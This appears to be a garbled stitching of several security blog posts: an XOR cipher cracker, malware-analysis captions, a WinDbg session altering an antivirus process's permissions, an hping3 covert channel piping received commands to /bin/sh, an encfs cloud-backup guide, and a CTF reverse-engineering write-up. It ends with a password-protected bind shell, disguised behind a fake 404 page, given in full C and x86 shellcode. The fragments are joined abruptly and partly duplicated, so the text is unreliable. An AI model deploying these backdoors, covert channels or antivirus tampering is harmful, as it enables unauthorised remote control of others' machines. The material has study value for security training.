#!/usr/bin/env python
import hashlib
import sys
import base64
pin = sys.argv[1]
code = sys.argv[2]
#code = open(sys.argv[2]).read().strip()
#print "Code: ", code
hashofpass = hashlib.sha1(pin).hexdigest()[:16]
LEN = len(hashofpass)
#print hashofpass
previous = ''
result = ""
for i in range(0,len(code)):
nexta = ''
if(previous == ''):
nexta = chr(ord(code[i]) ^ ord(hashofpass[i % LEN]))
else:
nexta = chr(ord(code[i]) ^ ord(hashofpass[i % LEN]) ^ ord(previous))
previous = nexta
result += nexta
print base64.b64encode(result)
# Transform input into repeating-key XOR
def transXOR(enc):
enc = base64.b64decode(enc)
enc2 = [ascii_d[c] for c in enc]
result = [ascii_c[enc2[i] ^ enc2[i-1]]
for i in xrange(len(enc2)-1, 0, -1)][::-1]
result = ascii_c[enc2[0]] + "".join(result)
# print base64.b64encode(result)
return result
Each block, starting from the last to second, is XOR-ed with the previous one.#!/usr/bin/env python
import string
import base64
import sys
import re
# Example of input:
# "BgAbHU8bSx5JBBEbV1haCwkNDhxLHlUFUwIOA1RBRAsJCwsOVQJHEkYJBgZUVVIHGwAHG0EWRBJOFw8AU0RCGhkdGhBeEUcKWwkFC15VQBQQCAsIXA1dDEQVAwpfVFICEhETD14EVgVUAhYfU1xfDAsODx1KGVIGWwMLAFNGXg4QEBMVRBFMD14PGRhPREkYHwUBHU8UQRJCEgoGVkFFFx4eGhtVGk4DXwgBCl5fSh4YAAIIUwBUBk4CCxxGTkIaHxEEA1EdShpPHBwTXUlOAQEGBg1dB0IVSAcHDF9UVgAcBwYaTRxKH0Ib"
Debug = False
data = sys.argv[1]
charset = "0123456789-,. "
key_charset = "0123456789abcdef"
key_charset2 = [ord(c) for c in key_charset]
keysize = 16
ascii_c = ['\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\t', '\n', '\x0b', '\x0c', '\r', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', ' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~', '\x7f', '\x80', '\x81', '\x82', '\x83', '\x84', '\x85', '\x86', '\x87', '\x88', '\x89', '\x8a', '\x8b', '\x8c', '\x8d', '\x8e', '\x8f', '\x90', '\x91', '\x92', '\x93', '\x94', '\x95', '\x96', '\x97', '\x98', '\x99', '\x9a', '\x9b', '\x9c', '\x9d', '\x9e', '\x9f', '\xa0', '\xa1', '\xa2', '\xa3', '\xa4', '\xa5', '\xa6', '\xa7', '\xa8', '\xa9', '\xaa', '\xab', '\xac', '\xad', '\xae', '\xaf', '\xb0', '\xb1', '\xb2', '\xb3', '\xb4', '\xb5', '\xb6', '\xb7', '\xb8', '\xb9', '\xba', '\xbb', '\xbc', '\xbd', '\xbe', '\xbf', '\xc0', '\xc1', '\xc2', '\xc3', '\xc4', '\xc5', '\xc6', '\xc7', '\xc8', '\xc9', '\xca', '\xcb', '\xcc', '\xcd', '\xce', '\xcf', '\xd0', '\xd1', '\xd2', '\xd3', '\xd4', '\xd5', '\xd6', '\xd7', '\xd8', '\xd9', '\xda', '\xdb', '\xdc', '\xdd', '\xde', '\xdf', '\xe0', '\xe1', '\xe2', '\xe3', '\xe4', '\xe5', '\xe6', '\xe7', '\xe8', '\xe9', '\xea', '\xeb', '\xec', '\xed', '\xee', '\xef', '\xf0', '\xf1', '\xf2', '\xf3', '\xf4', '\xf5', '\xf6', '\xf7', '\xf8', '\xf9', '\xfa', '\xfb', '\xfc', '\xfd', '\xfe', '\xff']
ascii_d = {}
for c in ascii_c:
ascii_d[c] = ord(c)
def printd(s):
if Debug:
print s
# Transform input into repeating-key XOR
def transXOR(enc):
enc = base64.b64decode(enc)
enc2 = [ascii_d[c] for c in enc]
result = [ascii_c[enc2[i] ^ enc2[i-1]]
for i in xrange(len(enc2)-1, 0, -1)][::-1]
result = ascii_c[enc2[0]] + "".join(result)
# print base64.b64encode(result)
return result
# Used below for single-char key xor decoding
def transpose(blocks):
len_b = len(blocks)
len_b0 = len(blocks[0])
t = [[blocks[j][i] for j in xrange(len_b)]
for i in xrange(len_b0)]
return t
def isGood(text):
text2 = [ascii_d[c] for c in text]
# Score: number of valid characters
for o in text2:
if o > 57:
return 0
if o < 44:
if o == 32:
continue
else:
return 0
if o == 47:
return 0
return 1
# Check for possible errors in the decrypted coordinates
# Returns position of the invalid character
def check(coords):
inv_pos = string.find(coords, '=')
if -1 != inv_pos:
return inv_pos % keysize
inv_pos = string.find(coords, ';')
if -1 != inv_pos:
return inv_pos % keysize
inv_pos = string.find(coords, '/')
if -1 != inv_pos:
return inv_pos % keysize
inv_pos = string.find(coords, '--')
if -1 != inv_pos:
# Condition needed
return inv_pos % keysize
inv_pos = string.find(coords, ',,')
if -1 != inv_pos:
return (inv_pos + 1) % keysize
inv_pos = string.find(coords, ' ,')
if -1 != inv_pos:
return (inv_pos + 1) % keysize
inv_pos = string.find(coords, ' .')
if -1 != inv_pos:
if coords[inv_pos+2] in list("0123456789"):
return (inv_pos + 1) % keysize
m = re.search('\d\-\d', coords)
if m:
inv_pos = string.find(coords, m.group(0))
if coords[inv_pos-1] in list("0123456789"):
return (inv_pos + 1) % keysize
# ,80,
m = re.search(',\d\d,', coords)
if m:
inv_pos = string.find(coords, m.group(0))
return (inv_pos + 3) % keysize
# .21.
m = re.search('\.\d\d\.', coords)
if m:
inv_pos = string.find(coords, m.group(0))
return (inv_pos) % keysize
# 7,.3
m = re.search('\d,\.\d', coords)
if m:
inv_pos = string.find(coords, m.group(0))
return (inv_pos + 2) % keysize
# ,-60,
m = re.search(',-\d\d,', coords)
if m:
inv_pos = string.find(coords, m.group(0))
return (inv_pos + 4) % keysize
# -73,
m = re.search('-\d\d,', coords)
if m:
inv_pos = string.find(coords, m.group(0))
return (inv_pos + 3) % keysize
# -61-
m = re.search('-\d\d-', coords)
if m:
inv_pos = string.find(coords, m.group(0))
return (inv_pos + 3) % keysize
# -04.
m = re.search('-0\d\.', coords)
if m:
inv_pos = string.find(coords, m.group(0))
return (inv_pos + 1) % keysize
# 03.
m = re.search('^0\d.', coords)
if m:
inv_pos = string.find(coords, m.group(0))
return (inv_pos) % keysize
#,..
if coords[0] == ',':
return 0
# 2,6199
m = re.search('\d,\d\d\d\d', coords)
if m:
inv_pos = string.find(coords, m.group(0))
return (inv_pos + 1) % keysize
inv_pos = string.find(coords, '.-')
if -1 != inv_pos:
pos = string.find(coords, '.', inv_pos + 1)
if pos-inv_pos > 6:
return (inv_pos + 1) % keysize
else:
return inv_pos % keysize
return -1
# Decrypt/encrypt function are the same
def rxor(text, key):
text2 = [ascii_d[c] for c in text]
key2 = [ascii_d[c] for c in key]
len_k = 16 # len(key)
len_t = len(text)
dec = [ascii_c[text2[i] ^ key2[i % len_k]] for i in xrange(0, len_t)]
return "".join(dec)
if __name__ == "__main__":
enc = transXOR(data)
k = [0] * keysize
blocks = [enc[i: i+keysize] for i in xrange(0, len(enc), keysize)]
# Transpose the blocks and find the key for each transposed block
# Leave the last incomplete block for easier calculations
t_blocks = transpose(blocks[:len(blocks)-1])
# all possible values for each byte of the key
all_keys = []
for i in xrange(keysize):
b = t_blocks[i]
b2 = [ascii_d[c] for c in b]
d = {}
keys_b = []
for key in key_charset2:
dec = "".join([ascii_c[c ^ key] for c in b2])
ok = isGood(dec)
if ok:
d[dec] = key
keys_b = [d[w] for w in d]
all_keys.append(keys_b)
# Take the first possible value. Check later!
k[i] = keys_b[0]
k = "".join([ascii_c[c] for c in k])
coords = rxor(enc, k)
while 1:
inv = check(coords)
if -1 == inv:
break
all_keys[inv].remove(all_keys[inv][0])
k = k[:inv] + ascii_c[all_keys[inv][0]] + k[inv+1:]
coords = rxor(enc, k)
print coords.split(' ')[3] # Original message
'''
To profile the code:
python -m cProfile -s time ./decode.py BgQaGRYXFxVAVBtERA8EAAICBw0bGhwEVVwNWFQIHR8eBAADBgkICE1YAlRCFBsaHxMWCBMZHwdaVgZQXgsSCQkKFBIRGhgaTVkDXEoYGBscGh8NFhkfB1ZfBFpbBhMICAsVFhMYHRhPVxhJSAMDDAoNBQAaEwsIXVMCVl8aGhQLDgwMAgoEHlZXAUlCHh8cDQ4IFBccHB5CSAZNTBsMCw4CAQYCGh4eVVkCUVoLCxENDA4SEhoVFkFBA0hCCQMNDwwODBYDBABLQRRAQRYWABwQEAwPAAMDX1cZUlwPGBwYGB8eEAgTEkFXDVlXBggOEwoNERIYGxxB
'''
 |
| Password check |
 |
| Shutdown block code |
 |
| Second password check |
 |
| Phant0m plugin options |
|
IsDebuggerPresent -
before patching
|
 |
IsDebuggerPresent -
after patching
|
 |
| Potential password: iamborg |
 |
| Initialise obfuscation key |
 |
VerifyPass function
|
 |
| Delete bot from registry |
After OSCP exam, I was eager to start the CTP training as soon as possible. The course is mostly assembly based. I've spent most of the time in OllyDbg. Besides that, the course has a also web based module, and a networking module. All of them are very interesting and require extra reading and practice to fully understand and be able to reproduce the techniques (during the stressful exam hours!). 
kd> !process 0 0 avp.exe
PROCESS 8552a030 SessionId: 0 Cid: 058c Peb: 7ffdf000 ParentCid: 021c
DirBase: 3502b000 ObjectTable: 9db79008 HandleCount: 2421.
Image: avp.exe
kd> !process 8552a030 1
PROCESS 8552a030 SessionId: 0 Cid: 058c Peb: 7ffdf000 ParentCid: 021c
DirBase: 3502b000 ObjectTable: 9db79008 HandleCount: 2421.
Image: avp.exe
VadRoot 855e35c8 Vads 896 Clone 0 Private 47284. Modified 54609. Locked 9.
DeviceMap 89c089e8
Token a89ca9f0
ElapsedTime 00:04:32.758
UserTime 00:00:03.655
KernelTime 00:00:06.269
QuotaPoolUsage[PagedPool] 0
QuotaPoolUsage[NonPagedPool] 0
Working Set Sizes (now,min,max) (7583, 50, 345) (30332KB, 200KB, 1380KB)
PeakWorkingSetSize 85004
VirtualSize 616 Mb
PeakVirtualSize 781 Mb
PageFaultCount 331536
MemoryPriority BACKGROUND
BasePriority 8
CommitCharge 56081
kd> dt nt!_TOKEN a89ca9f0 +0x000 TokenSource : _TOKEN_SOURCE +0x010 TokenId : _LUID +0x018 AuthenticationId : _LUID +0x020 ParentTokenId : _LUID +0x028 ExpirationTime : _LARGE_INTEGER 0x6207526`b64ceb90 +0x030 TokenLock : 0x84b44090 _ERESOURCE +0x034 ModifiedId : _LUID +0x040 Privileges : _SEP_TOKEN_PRIVILEGES +0x058 AuditPolicy : _SEP_AUDIT_POLICY +0x074 SessionId : 0 +0x078 UserAndGroupCount : 5 +0x07c RestrictedSidCount : 0 +0x080 VariableLength : 0x70 +0x084 DynamicCharged : 0x400 +0x088 DynamicAvailable : 0 +0x08c DefaultOwnerIndex : 1 +0x090 UserAndGroups : 0xa89cabcc _SID_AND_ATTRIBUTES +0x094 RestrictedSids : (null) +0x098 PrimaryGroup : 0x91d42dc8 Void +0x09c DynamicPart : 0x91d42dc8 -> 0x101 +0x0a0 DefaultDacl : 0x91d42dd4 _ACL +0x0a4 TokenType : 1 ( TokenPrimary ) +0x0a8 ImpersonationLevel : 0 ( SecurityAnonymous ) +0x0ac TokenFlags : 0x2800 +0x0b0 TokenInUse : 0x1 '' +0x0b4 IntegrityLevelIndex : 4 +0x0b8 MandatoryPolicy : 1 +0x0bc LogonSession : 0x89c01710 _SEP_LOGON_SESSION_REFERENCES +0x0c0 OriginatingLogonSession : _LUID +0x0c8 SidHash : _SID_AND_ATTRIBUTES_HASH +0x150 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH +0x1d8 pSecurityAttributes : 0xa68bdef0 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION +0x1dc VariablePart : 0xa89cabf4
kd> dt nt!_OBJECT_HEADER +0x000 PointerCount : Int4B +0x004 HandleCount : Int4B +0x004 NextToFree : Ptr32 Void +0x008 Lock : _EX_PUSH_LOCK +0x00c TypeIndex : UChar +0x00d TraceFlags : UChar +0x00e InfoMask : UChar +0x00f Flags : UChar +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION +0x010 QuotaBlockCharged : Ptr32 Void +0x014 SecurityDescriptor : Ptr32 Void +0x018 Body : _QUAD
kd> !object 8552a030
Object: 8552a030 Type: (84a38978) Process
ObjectHeader: 8552a018 (new version)
HandleCount: 8 PointerCount: 1008
kd> dt nt!_OBJECT_HEADER 8552a018 +0x000 PointerCount : 0n1008 +0x004 HandleCount : 0n8 +0x004 NextToFree : 0x00000008 Void +0x008 Lock : _EX_PUSH_LOCK +0x00c TypeIndex : 0x7 '' +0x00d TraceFlags : 0 '' +0x00e InfoMask : 0x8 '' +0x00f Flags : 0 '' +0x010 ObjectCreateInfo : 0x82949480 _OBJECT_CREATE_INFORMATION +0x010 QuotaBlockCharged : 0x82949480 Void +0x014 SecurityDescriptor : 0x89c05eee Void +0x018 Body : _QUAD
kd> !sd 0x89c05eee & -8 1
->Revision: 0x1
->Sbz1 : 0x0
->Control : 0x8814
SE_DACL_PRESENT
SE_SACL_PRESENT
SE_SACL_AUTO_INHERITED
SE_SELF_RELATIVE
->Owner : S-1-5-32-544 (Alias: BUILTIN\Administrators)
->Group : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl :
->Dacl : ->AclRevision: 0x2
->Dacl : ->Sbz1 : 0x0
->Dacl : ->AclSize : 0x3c
->Dacl : ->AceCount : 0x2
->Dacl : ->Sbz2 : 0x0
->Dacl : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl : ->Ace[0]: ->AceFlags: 0x0
->Dacl : ->Ace[0]: ->AceSize: 0x14
->Dacl : ->Ace[0]: ->Mask : 0x001fffff
->Dacl : ->Ace[0]: ->SID: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl : ->Ace[1]: ->AceFlags: 0x0
->Dacl : ->Ace[1]: ->AceSize: 0x18
->Dacl : ->Ace[1]: ->Mask : 0x00121411
->Dacl : ->Ace[1]: ->SID: S-1-5-32-544 (Alias: BUILTIN\Administrators)
->Sacl :
->Sacl : ->AclRevision: 0x2
->Sacl : ->Sbz1 : 0x0
->Sacl : ->AclSize : 0x1c
->Sacl : ->AceCount : 0x1
->Sacl : ->Sbz2 : 0x0
->Sacl : ->Ace[0]: ->AceType: SYSTEM_MANDATORY_LABEL_ACE_TYPE
->Sacl : ->Ace[0]: ->AceFlags: 0x0
->Sacl : ->Ace[0]: ->AceSize: 0x14
->Sacl : ->Ace[0]: ->Mask : 0x00000003
->Sacl : ->Ace[0]: ->SID: S-1-16-16384 Unrecognized SID
int new_acl = 0x9cfa4f39; // address of other descriptor structure or 0 memmove((char*)pNextProcess - 4, &new_acl, 4);
 |
| Access denied to permissions |
 |
| Access to change permissions |
 |
| Security warning: no permissions assigned. |
$ sudo hping3 --listen SecretSignature -I vboxnet0 -p 8834 | /bin/sh
$ sudo hping3 --count 1 --data 200 --file commands.txt --sign SecretSignature 192.168.56.1 -V -p 8834
$ cat commands.txt echo 123 > hacked.txt whoami > log.txt uname -a >> log.txt pwd >> log.txt ls -al >> log.txt ifconfig -a >> log.txt(New line at the end, to get the last command executed !)
sudo add-apt-repository ppa:nilarimogard/webupd8 sudo apt-get update sudo apt-get install grive2. How to use
mkdir ~/grive cd ~/grive/Initial setup will require an authorization token from Google. Paste the link generated by the following command into the browser, get the token and paste it into the application
grive -aSynchronization of all the files in the cloud:
grive3. Create an encrypted safe
apt-get install encfs mkdir -p ~/grive/safe mkdir -p ~/safeMount the encrypted safe to a decrypted folder (open the safe). If EncFS cannot find a filesystem at the specified location, it will create a new encrypted file system there.
encfs ~/grive/safe/ ~/safe/I've used the paranoia mode for the initial setup - AES-256, PBKDF2, 160 bit salt, External IV Chaining (More details about the settings in the man page).
df -hT encfs fuse.encfs 455G 232G 200G 54% /home/liv/safeTest the whole setup:
cd ~/safe/ echo "secret" > test.txt cat test.txt secret ls ~/grive/safe/ pr6KT6wBszfvBqNLIo2pPliZUnmount the encrypted volume (close the safe):
sudo fusermount -u ~/safe
$ file bonus_reverse-challenge bonus_reverse-challenge: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x2fe5f1647532449ffeef36a7fa31ae8319c8818d, stripped
$ strings bonus_reverse-challenge . . . socket fflush exit htons connect puts printf mkstemp read stdout inet_addr close sleep write /tmp /bti ... xKZl_^_XCY^CIE woot! 127.0.0.1 Dude, no debugging ;-) Are you feeling lucky today? [+] WooT!: %s [~] Maybe. [-] Nope.Some socket operations and file manipulation. Also an ASCII string with some XOR characters (^) in it (hint ?!). Interesting. We can brute force it quickly to see if we get something meaningful out of it:
enc = "xKZl_^_XCY^CIE"
for key in range(0, 127):
print "".join([chr(ord(c)^key) for c in enc])
$ ./decr.py . . . RapFuturistico
$ ./bonus_reverse-challenge Are you feeling lucky today?(The 'Yes' answer is not accepted by the application :) )
$ gdb ./bonus_reverse-challenge Reading symbols from /home/liv/buffer/coursera/Malicious software/Week3/bonus-challenge/bonus_reverse-challenge...(no debugging symbols found)...done. (gdb) run Starting program: /home/liv/buffer/coursera/Malicious software/Week3/bonus-challenge/bonus_reverse-challenge Dude, no debugging ;-)If we use the strace tool (same technique also used by gdb) we see exactly what happens:
$ strace ./bonus_reverse-challenge
. . .
ptrace(PTRACE_TRACEME, 3215099972, 0xbfa287d4, 0) = -1 EPERM (Operation not permitted)
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76fa000
write(1, "Dude, no debugging ;-)\n", 23Dude, no debugging ;-)
So the process tries to allow tracing, but as it is already traced (by strace) the ptrace system call returns -1.EBX: 0x00000000 ; Type of request. 0 means PTRACE_TRACEME
=> 0x8048938: mov al,0x1a ; sys_ptrace syscall
0x804893a: int 0x80 ; interrupt to execute syscall
8048938: b0 1a mov al, 0x1a 804893a: cd 80 int 0x80We can get the dump of the whole file with
$ objdump -M intel -d bonus_reverse-challengeWe'll overwrite them with nops:
set *(unsigned long*)0x8048938 = 0x90909090
0x8048a18: movzx eax,BYTE PTR [esp+0x20] ; input string 0x8048a1d: movsx eax,al ; first letter ! 0x8048a20: cmp eax,0x42 0x8048a23: je 0x8048a3c 0x8048a25: cmp eax,0x43 0x8048a28: je 0x8048a49 0x8048a2a: cmp eax,0x41 0x8048a2d: jne 0x8048a56 0x8048a2f: mov DWORD PTR [esp+0x22c],0x804872b ; check function for A.. 0x8048a3a: jmp 0x8048a58 0x8048a3c: mov DWORD PTR [esp+0x22c],0x8048644 ; check function for B.. 0x8048a47: jmp 0x8048a58 0x8048a49: mov DWORD PTR [esp+0x22c],0x80486ca ; check function for C.. 0x8048a54: jmp 0x8048a58We test this manually:
$ ./bonus_reverse-challenge Are you feeling lucky today? A [~] Maybe. $ ./bonus_reverse-challenge Are you feeling lucky today? B [-] Nope. $ ./bonus_reverse-challenge Are you feeling lucky today? C [~] Maybe.If we were to believe the developer, we should go for Asomething or Csomething and further analyse.
0x8048664: mov DWORD PTR [ebp-0x10],0xfa ; key 0x804866b: pop eax ; input string address 0x804866c: jmp 0x8048685 0x804866e: mov eax,DWORD PTR [ebp-0xc] ; first char of input string 0x8048671: movzx eax,BYTE PTR [eax] 0x8048674: mov edx,DWORD PTR [ebp-0x10] 0x8048677: and edx,0x2b ; key becomes 0x2A 0x804867a: xor edx,eax 0x804867c: mov eax,DWORD PTR [ebp-0xc] 0x804867f: mov BYTE PTR [eax],dl 0x8048681: add DWORD PTR [ebp-0xc],0x1 0x8048685: mov eax,DWORD PTR [ebp-0xc] 0x8048688: movzx eax,BYTE PTR [eax] 0x804868b: test al,al 0x804868d: jne 0x804866e ; loop 0x804868f: mov eax,DWORD PTR [ebp+0x8] 0x8048692: mov edx,eax 0x8048694: mov eax,0x8048bc0 ; "xKZl_^_XCY^CIE" 0x8048699: mov ecx,0xf 0x804869e: mov esi,edx 0x80486a0: mov edi,eax 0x80486a2: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
E(M, K) = "xKZl_^_XCY^CIE" Where: E - XOR encoding M - Input message after 'B' character K - Computed key: 0xFA && 0x2B = 0x2AWe reverse the algorithm and get the input message we need:
$ python -c 'print "".join([chr(ord(c)^0x2a) for c in "xKZl_^_XCY^CIE"])' RapFuturisticoSo if the input string encodes to the string we found initially, the function returns 1 and we get a nice message:
$ ./bonus_reverse-challenge Are you feeling lucky today? BRapFuturistico [+] WooT!: xKZl_^_XCY^CIE
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
/* receiving password buffer size */
#define BUFSIZE 10
/* Listening port */
#define PORT 8585
/* Password prompt */
char prompt[] = \
"<html>\n"
"<body>\n"
" <h1>Error 404 - Try elsewhere</h1>\n"
"\n"
"</body>\n"
"</html>\n";
char password[] = "s3cr37";
int main() {
int listenfd = 0, connfd = 0;
int ret = 0;
char buffer[BUFSIZE];
struct sockaddr_in serv_addr;
// Create an un-named socket. returns socket descriptor
listenfd = socket(AF_INET, SOCK_STREAM, 0);
memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
bind(listenfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr));
// Listen on the created socket for maximum 1 client connection
listen(listenfd, 1);
// Sleep waiting for client requests
connfd = accept(listenfd, (struct sockaddr*) NULL, NULL);
printf("Created accept socket: %d\n", connfd);
// Send fake prompt and wait for the password
ret = send(connfd, prompt, strlen(prompt), 0);
if (-1 == ret) {
printf("Send failed: %s\n", strerror(errno));
return 1;
}
// Read password
ret = recv(connfd, buffer, BUFSIZE, 0);
if (-1 == ret) {
printf("Recv failed: %s\n", strerror(errno));
return 1;
} else {
printf("Received: %s", buffer);
}
// Compare
if (!strncmp(buffer, password, strlen(password))){
printf("Correct password. Opening shell...\n");
} else {
close(listenfd);
close(connfd);
return 1;
}
// Duplicate stdin, stdout, stderr
ret = dup2(connfd, 0);
if (-1 == ret) {
printf("STDIN duplication failed: %s\n", strerror(errno));
return 1;
}
ret = dup2(connfd, 1);
if (-1 == ret) {
printf("STDOUT duplication failed: %s\n", strerror(errno));
return 1;
}
ret = dup2(connfd, 2);
if (-1 == ret) {
printf("STDERR duplication failed: %s\n", strerror(errno));
return 1;
}
// Replace process image
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL; // Needs to ne a NULL terminated list of args
ret = execve(args[0], args, NULL);
if (-1 == ret) {
printf("Execve failed: %s\n", strerror(errno));
return 1;
}
return 0;
}
If we supply the correct password we get the shell:
$ gcc -Wall shell_bind_tcp.c -o shell_bind_tcp $ ./shell_bind_tcp_passw & [1] 4528 Created accept socket: 5 Received: s3cr37 ลน� Correct password. Opening shell... $ nc -nvv 192.168.56.1 8585 (UNKNOWN) [192.168.56.1] 8585 (?) openError 404 - Try elsewhere
s3cr37 whoami liv
global _start
section .text
_start:
; Linux Syscall Reference
; http://syscalls.kernelgrok.com/
; 1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = listenfd
xor eax, eax
xor ebx, ebx
xor ecx, ecx
push ecx ; NULL terminate args list
mov cl, 6 ; IPPROTO_TCP (6)
push ecx
xor ecx, ecx
mov cl, 1 ; SOCK_STREAM (1) - in socket.h
push ecx
xor ecx, ecx
mov cl, 2 ; PF_INET (2) - IP PROTO FAMILY
push ecx
mov ecx, esp ; socketcall arguments
xor ebx, ebx
mov bl, 1 ; socketcall type of call: SYS_SOCKET (1)
push 102
pop eax ; socketcall syscall
int 0x80
mov edx, eax ; listenfd is returned in eax. Save into edx
; 2. bind(listenfd, {sa_family=AF_INET, sin_port=htons(4444), \
; sin_addr=inet_addr("0.0.0.0")}, 16)
;struct sockaddr_in {
; short sin_family; // e.g. AF_INET, AF_INET6
; unsigned short sin_port; // e.g. htons(3490)
; struct in_addr sin_addr; // see struct in_addr, below
; char sin_zero[8]; // zero this if you want to
;};
;struct in_addr {
; unsigned long s_addr; // load with inet_pton()
;};
xor ecx, ecx ; Construct sockaddr structure on the stack
push ecx ; inet_addr - 0.0.0.0 - INADDR_ANY
push word 0x8921; 16 bits - port number (8585 decimal)
push word 2 ; family - AF_INET (2)
mov ecx, esp ; pointer to args
push byte 0x10 ; Address length - 16 bytes
push ecx ; Pointer to sockaddr_in structure
push edx ; listenfd from socket call
mov ecx, esp ; socketcall arguments
xor ebx, ebx
mov bl, 2 ; socketcall type of call: SYS_BIND (2)
xor eax, eax
mov al, 102 ; socketcall syscall
int 0x80
; 3. listen(listenfd, 1)
push 1 ; max connections
push edx ; listenfd
mov ecx, esp ; pointer to socketcall arguments
push 4
pop ebx ; SYS_LISTEN (4)
push 102
pop eax ; socketcall syscall
int 0x80
; 4. accept(listenfd, 0, NULL) = connfd
xor ecx, ecx
push ecx ; NULL
push ecx ; 0
push edx ; listenfd
mov ecx, esp ; pointer to socketcall arguments
push 5
pop ebx ; SYS_ACCEPT = 5
push 102
pop eax ; socketcall syscall
int 0x80 ; connfd will be in eax
mov edx, eax ; save new connection descriptor
; 5. recv(connfd, buffer, BUFSIZE, 0)
; recv(int sockfd, void *buf, size_t len, int flags);
xor ecx, ecx
push ecx ; flags (0)
push 0xa ; buffer size
lea ecx, [esp + 8]
push ecx ; addres of buffer
mov edi, ecx ; save address of buffer for further comparison
push edx ; sockfd
mov ecx, esp ; ECX - params of socket call
push 10
pop ebx ; EBX - type of socketcall - SYS_RECV (10)
push 102
pop eax ; socketcall syscall
int 0x80 ; connfd will be in eax
; 6. compare password
mov ecx, 6 ; passwd len
; pass: s3cr37 - 73 33 63 72 33 37
push 0xAAAA3733
push 0x72633373
mov esi, esp
; address of buffer is already saved in edi
repe cmpsb
jz correct_pass
; exit()
xor eax, eax
mov al, 1
xor ebx, ebx
mov bl, 7
int 0x80
correct_pass:
; 7. dup2(connfd, 2), dup2(connfd, 1), dup2(connfd, 0)
push 2
pop ecx ; ecx - newfd
mov ebx, edx ; edx - connfd, ebx - oldfd
dup_loop:
mov al, 63 ; dup2 syscall
int 0x80
dec ecx
jns dup_loop ; exit when signed (-1)
; 8. execve("/bin/sh", ["/bin/sh"], [/* 0 vars */])
; PUSH the first null dword
xor eax, eax
push eax
; PUSH //bin/sh (8 bytes)
push 0x68732f2f ; 'hs//'
push 0x6e69622f ; 'nib/
mov ebx, esp ; EBX - 1st param - NULL terminated filename
push eax ; EDX - 3rd param - NULL terminated list of env variables
mov edx, esp ; NULL terminator must be set before setting the 2nd param!
push ebx ; ECX - 2nd param - array of argument strings
mov ecx, esp
mov al, 11 ; execve syscall
int 0x80